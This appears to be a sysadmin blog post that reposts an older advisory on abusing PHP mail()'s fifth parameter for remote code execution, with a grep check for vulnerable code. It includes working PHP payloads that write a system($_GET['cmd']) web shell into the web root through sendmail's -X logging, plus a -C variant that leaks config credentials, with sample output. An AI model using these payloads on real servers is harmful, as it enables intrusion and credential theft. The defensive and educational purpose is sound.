Exploit PHP mail() to get remote code execution

If you are able to control the 5th parameter of PHP mail() function ($options), you have the opportunity to execute arbitrary commands. Remote Code Execution (RCE) in PHP mail()

Exploit PHP mail() function to perform remote code execution, under rare circumstances. Security Sucks wrote about an interesting way to exploit PHP’s mail() function for remote code execution. Apparently, if you are able to control the 5th parameter of the mail() function ($options), you have the opportunity to execute arbitrary commands.

As with other PHP vulnerabilities, like bypassing PHP’s strcmp() function or “phpinfo() type confusion”, most vulnerabilities are often only exploitable under rare circumstances. Nevertheless, as always it is very important to check your PHP code for this PHP mail() remote code execution vulnerability.

Verify and make sure your code is not vulnerable:

grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

Do you want to learn why it is important to validate user supplied input to prevent sleep() attacks on MySQL? Or how to validate MIME types in PHP for uploaded files?

For this mail() remote code execution to work, a malicious user has to be able to control what goes into the mail(). For example through not properly validated email forms.

Update 2016-09-07: Apparently, the securitysucks.info domain no longer exists and the post is unavailable. I’ve copied the full text below for you. Please note this was released on securitysucks.info on September 3, 2014 and it may be outdated.

A recent example exploiting this PHP mail() remote code execution vulnerability is a command execution via email in Roundcube 1.2.2, discovered by RIPS Technologies. Roundcube posted a patch to GitHub at the end of November, and issued a version 1.2.3 here.

Update 2016-12-28: Next in line is PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033).

The original Security Sucks advisory follows below, because the original source is removed from the internet.

Exploit PHP’s mail() to get remote code execution

While searching around the web for new nifty tricks I stumbled across this post about how to get remote code execution exploiting PHP’s mail() function.

Update: After some further thinking and looking into this even more, I’ve found that my statement about this only being possible in really rare cases was wrong. Since this can also be exploited in other scenarios which is much more common than I first thought. So, instead of removing content, I added a strike through on the statements that’s no longer valid, and updated with a 2nd scenario explanation.

First, I must say that this is only going to happen under some really rare circustances. Never the less, it’s really something to think about and keep an eye out for. I will explain an example scenario which I think could be a real life scenario later in this article.

So, when that’s said, let’s have a look at what this is all about.

When using PHP to send emails we can use PHP’s built in function mail(). This function takes a total of five parameters.

  1. To
  2. Subject
  3. Message
  4. Headers (Optional)
  5. Parameters (Optional)

This looks pretty innocent at first glance, but if this is used wrong it can be really bad. The parameter of interest is the 5th and last one, so let’s have a look at what the PHP manual has to say about it.

The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.

This is really interesting. In short, this say that we can alter the behaviour of the sendmail application.

Update: I should have added this from the beginning, but just to make this clear: The fifth argument is disabled when PHP is running in safe mode

mail()  In safe mode, the fifth parameter is disabled. (note: only affected since PHP 4.2.3)


Now, let’s have a look at the sendmail manual. I’m not going to post the entire manual here, but I will highlight some of the interesting parts.

Some interesting parameters

-O option=value
Set option option to the specified value. This form uses long names.

Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

Some interesting options

Select the directory in which to queue messages.

So how can this be exploited?

Remote Code Execution

As stated above, this only occurs under very specific circumstances. For this to be exploitable, the user has to be able to control what goes into the 5th parameter, which does not make sense at all that anyone would do it. But it’s still something that really should be kept in mind by developers.

With that said, let’s just dive into it!

This is the code for exploiting the mail() function

$to = '[email protected]';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
mail($to, $subject, $message, $headers, $options);

Let’s inspect the logs from this. First let’s have a look at what we can see in the browser by only going to the rce.php file

11226 <<< To: [email protected]
11226 <<< Subject: 11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<

Nothing really scary to see in this log. Now, let’s use the cat command in the terminal on the same file

> cat rce.php
11226 <<< To: [email protected]
11226 <<< Subject: <?php system($_GET["cmd"]); ?>
11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<

See anything a bit more interesting? Let’s try to execute some commands.

I visit http://localhost/rce.php?cmd=ls%20-la and get the following output

11226 <<< To: [email protected] <<< Subject: total 20
drwxrwxrwx 2 *** *** 4096 Sep 3 01:25 .
drwxr-xr-x 4 *** www-data 4096 Sep 2 23:53 ..
-rw-r--r-- 1 *** *** 92 Sep 3 01:12 config.php
-rwxrwxrwx 1 *** *** 206 Sep 3 01:25 mailexploit.php
-rw-r--r-- 1 www-data www-data 176 Sep 3 01:27 rce.php
11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<
11226 <<<
11226 <<<
11226 <<< [EOF]

Now, let me break it down in case you don’t fully understand the code

The first four variables is pretty straight forward. We set the recipient email address to some bogus address, then in the subject we inject the PHP code that will be executing our commands on the system, followed by empty message and headers.

Then on the fith variable is where the magic happens. The $options variable holds a string that will let us write our malicious code get remote code execution to the server.

First we change the mail queue directory to /tmp using the -O argument with the QueueDirectory option. The reason why we want it there is because this is globally writable.

Second the path and filename for the log is changed to /var/www/html/rce.php using the -X argument. Keep in mind that this path will not always be the same. You will have to craft this to fit the targets file system.

If we now point our browser at http://example.com/rce.php it will display the log for the attempted delivery. But since we added the PHP code to the $subject variable, we can now add the following query ?cmd=[some command here]. For example * http://example.com/rce.php?cmd=cat%20/etc/passwd*.

If you want you could also create a Local/Remote File Inclusion vulnerability as well. To do this, just change system() to include(). This can be handy if wget is not available, or you’re not able to include a remote web shell.

It’s also important to know, that it’s not only the subject field that can be used to inject arbitrary code. The content of all the fields, except the fifth, is written to the log.

Read files on the server

Another way to exploit this is to directly read files on the server. This can be done by using the -C argument as shown above.

I have made a dummy configuration file just to show how it works$to = ‘[email protected]’;

$subject = '';
$message = '';
$headers = '';
$options = '-C/var/www/html/config.php -OQueueDirectory=/tmp -X/var/www/html/evil.php';
mail($to, $subject, $message, $headers, $options);

This creates a file named evil.php with the following content

11124 >>> /var/www/html/config.php: line 1: unknown configuration line "<?php"
11124 >>> /var/www/html/config.php: line 3: unknown configuration line "$dbuser = 'someuser';"
11124 >>> /var/www/html/config.php: line 4: unknown configuration line "$dbpass = 'somepass';"
11124 >>> /var/www/html/config.php: line 5: unknown configuration line "$dbhost = 'localhost';"
11124 >>> /var/www/html/config.php: line 6: unknown configuration line "$dbname = 'mydb';"
11124 >>> No local mailer defined

Now we have managed to extract very sensitive data, and there’s a lot of other things we can extract from the server.

A real-life scenario where this can become a reality

To be honest I actually had to think for this for a file. I mean, who would be so stupid that they let their users control the sendmail parameters. Well, it really doesn’t have to be that stupid. So consider this following scenario.

You have an admin panel for your website. Just like every other admin panel with respect for itself it let’s your set different settings for sending emails. Stuff like port, smtp, etc. But not only that, this administration panel actually let’s you monitor your mail logs, and you can decide where to store the logs. Suddenly the idea of the values of the 5th parameter being controlled by an end user doesn’t sound that stupid anymore.

You would of course not let this be modified from the contact form. But admins wouldn’t hack their own site would they..

So in combination with other attacks that results in unauthorized access, this can become a real threat since you can actually create vulnerabilities that was not originally in the application

How to detect a possible vulnerability

The fastes way to detect any possibility for this in code is to use Linux’s grep command, and recursively look for any use of mail() with all 5 parameters in use.

Position yourself in the root of whatever project you want to check and execute the following command. This will return all code lines that uses mail() with five parameters.

grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

There will probably be some false positives, so if you have any suggestions to improve this to make it even more accurate, please let me know!


This is not something that you will stumble across often. To be honest I don’t expect to ever see this in the wild at all, though it would be really cool to do so, but you never know as explained in the “real-life scenario” section. Still, I do find this to be really interesting, and it makes you think “what other PHP functions can do this?”

I hope you enjoyed the article and if you have any comments you know what to do.

Tagged: #backdoor #mail #php #rce #sendmail

An Internet Archive Wayback machine copy of the original post may be found here, for as long as it’s available.

More PHP security

Here on Sysadmins of the North, I often post articles about PHP and security. You might find these interesting:

  1. WordPress advisory: Akal premium theme XSS vulnerability
  2. “How we broke PHP, hacked Pornhub and earned $20,000”
  3. Binary Webshell Through OPcache in PHP 7
  4. Cracking PHP rand()
  5. Huge increase in WordPress xmlrpc.php POST requests

1 thought on “Exploit PHP mail() to get remote code execution”

  1. If I’m understanding correctly, the RCE exploit seems to require that not only is sender coming from user input, but user input is also being used to execute commands directly via e.g. system(). Reading files looks like it will just work, though…


Leave a Comment